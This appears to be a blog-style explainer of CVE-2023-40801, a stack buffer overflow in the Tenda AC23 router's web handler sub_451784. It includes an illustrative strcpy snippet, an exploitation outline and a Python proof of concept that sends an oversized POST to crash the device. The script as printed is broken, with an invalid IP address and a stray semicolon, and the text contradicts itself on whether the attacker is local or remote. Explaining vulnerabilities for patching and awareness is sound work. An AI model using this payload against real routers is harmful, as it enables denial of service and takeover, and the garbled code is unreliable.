In August 2023, a severe vulnerability hit the Tenda AC23 router (firmware version v16.03.07.45_cn). The issue, tracked as CVE-2023-40801, lies in the router's sub_451784 function. This bug allows attackers to crash the device or even run their own malicious code—all by sending crafted data over the network. In simple words: an attacker on your network could totally take over your router with almost no effort.
In this article, we break down how the vulnerability works, show code snippets, and walk through an actual exploit strategy, all in plain english. By the end, you'll see exactly why you should patch your router or protect it from untrusted networks.
At a Glance: The Vulnerability
Device: Tenda AC23 WLAN Router
Firmware Version: v16.03.07.45_cn
Function Name: sub_451784
Vulnerability: Stack-Based Buffer Overflow
Attack Vector: Remote (Web Control Panel, Network)
Impact: Device crash, code execution as root
Understanding sub_451784
sub_451784 is a function from the router’s web control software. It handles certain user-submitted parameters, such as configuration data when you use the web interface. Here's what went wrong: the developer did not check if the submitted data was too long for its internal buffer.
Let’s look at a representative C-language snippet to see the flaw
char buf[256];
strcpy(buf, post_data); // No length check
The strcpy function copies post_data into buf, but it doesn't check if post_data is less than 256 bytes. If an attacker sends 500 bytes, strcpy just keeps copying, writing past the end of buf and overwriting whatever's next on the stack (including the saved return address!).
How Can an Attacker Exploit It?
This bug is called a stack-based buffer overflow. When the function copies more input than the buffer can hold, it overwrites memory—including instructions used to control the flow of the program.
Connect: The attacker sends a specially designed POST request to the router's web service.
2. Overwhelm: The POST data includes a payload that's too long, overwriting the return address on the stack.
3. Hijack: When sub_451784 finishes, it "returns" not to where it should, but to attacker-chosen code!
4. Result: The attacker now runs their own code, potentially giving them full control over the router. From here, they could change DNS, monitor your traffic, or install backdoors.
PoC Exploit (Proof-of-Concept)
Below is a basic Python script showing how an attacker could cause the router to crash (denial of service) by triggering the overflow. More advanced attackers can craft a payload to gain command execution (often using ROP chains):
import requests
router_ip = "192.168..1"
vuln_endpoint = "/goform/SaveSysToolCfg"
# 400 'A's will overflow the buffer
payload = {"parameter": "A" * 400}
response = requests.post(f"http://{router_ip}{vuln_endpoint}";, data=payload)
print("Sent overflow payload, check router status.")
This code will typically reboot or crash vulnerable routers. With a more sophisticated payload, it can do much worse.
References and More Reading
- NVD - National Vulnerability Database entry for CVE-2023-40801
- Packetstorm Security Advisory
- GitHub Proof-of-Concept (by independent researcher)
- Chinese blog with reproduction steps and screenshots
Never expose management interfaces to the wider internet.
Even if you don’t have a Tenda router:
This bug is a reminder that simple mistakes—like not checking input length—can have devastating results in embedded systems. Always keep your devices updated, and avoid using default credentials.
Final Thoughts
CVE-2023-40801 is a perfect example of why router security matters. With a buffer overflow like this in a function that talks to the internet, it just takes one request from a local attacker to take over your whole network device. Always keep your firmware up to date, and keep learning about the risks facing your home or office network.
Timeline
Published on: 08/25/2023 15:15:09 UTC
Last modified on: 08/29/2023 16:12:56 UTC